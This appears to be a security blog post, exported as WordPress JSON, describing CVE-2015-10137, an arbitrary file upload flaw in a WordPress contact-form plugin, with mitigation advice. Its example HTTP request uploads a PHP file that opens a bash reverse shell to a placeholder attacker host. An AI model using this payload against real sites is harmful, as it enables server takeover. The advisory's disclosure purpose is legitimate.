{"id":59712,"date":"2025-07-28T19:45:50","date_gmt":"2025-07-28T19:45:50","guid":{"rendered":""},"modified":"2025-09-10T13:44:13","modified_gmt":"2025-09-10T19:44:13","slug":"cve-2015-10137-arbitrary-file-upload-vulnerability-in-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2015-10137-arbitrary-file-upload-vulnerability-in-wordpress-plugin\/","title":{"rendered":"<strong>CVE-2015-10137: Arbitrary File Upload Vulnerability in WordPress Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the cybersecurity landscape, it is critical to stay updated on the vulnerabilities that could compromise the integrity, confidentiality, and availability of your system. One such vulnerability, CVE-2015-10137, affects users of the Website Contact Form With File Upload plugin for WordPress. This plugin is widely used in numerous WordPress-based websites for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8141-unauthenticated-arbitrary-file-deletion-vulnerability-in-redirection-for-contact-form-7-wordpress-plugin\/\"  data-wpil-monitor-id=\"81379\">contact form<\/a> purposes. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52809-php-remote-file-inclusion-vulnerability-in-national-weather-service-alerts\/\"  data-wpil-monitor-id=\"65951\">vulnerability allows unauthenticated attackers to upload arbitrary files<\/a> on the website&#8217;s server, potentially leading to remote code execution. This matters because it poses a high <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"71135\">risk of system<\/a> compromise and data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2015-10137<br \/>\nSeverity: Critical, CVSS Score 9.8<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Possible <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78557\">system compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-607042863\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Website <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66344\">Contact Form With File Upload<\/a> plugin for WordPress | Up to and including 1.3.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability lies in the &#8216;upload_<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54439-unrestricted-file-upload-vulnerability-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67013\">File<\/a>()&#8217; function of the Website Contact Form With File Upload plugin. This function lacks proper file type validation, allowing any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66457\">file type to be uploaded<\/a> by an unauthenticated user. The attacker could exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/\"  data-wpil-monitor-id=\"66060\">vulnerability by uploading a malicious file<\/a> which, when executed, could compromise the system. This could potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50067-critical-vulnerability-in-oracle-application-express-allowing-system-takeover\/\"  data-wpil-monitor-id=\"67014\">allow the attacker to take control of the system<\/a> or leak sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3866748570\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. Note that this is for illustrative purposes only and should not be used for malicious purposes.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/contact-form-with-file-upload\/upload_file.php HTTP\/1.1\nHost: target.example.com\nContent-Length: [length of the content]\nContent-Type: multipart\/form-data; boundary=[boundary]\n--[boundary]\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;evil.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/attacker_port 0&gt;&amp;1&#039;&quot;); ?&gt;\n--[boundary]--<\/code><\/pre>\n<p>In the above example, a POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52362-critical-server-side-request-forgery-vulnerability-in-phproxy\/\"  data-wpil-monitor-id=\"71134\">request is made to the vulnerable<\/a> &#8216;upload_file.php&#8217; endpoint. A <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49886-critical-php-local-file-inclusion-vulnerability-in-webgeniuslab-zikzag-core\/\"  data-wpil-monitor-id=\"66115\">PHP file<\/a> named &#8216;evil.php&#8217; containing malicious code is uploaded. Once uploaded, the malicious file could be executed, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67235\">leading to remote code<\/a> execution.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users should apply the vendor patch immediately. If this is not possible for some reason, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could offer temporary protection. However, these should not be seen as long-term solutions, as the only definitive fix is to apply the vendor patch.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the cybersecurity landscape, it is critical to stay updated on the vulnerabilities that could compromise the integrity, confidentiality, and availability of your system. One such vulnerability, CVE-2015-10137, affects users of the Website Contact Form With File Upload plugin for WordPress. This plugin is widely used in numerous WordPress-based websites for contact form purposes. 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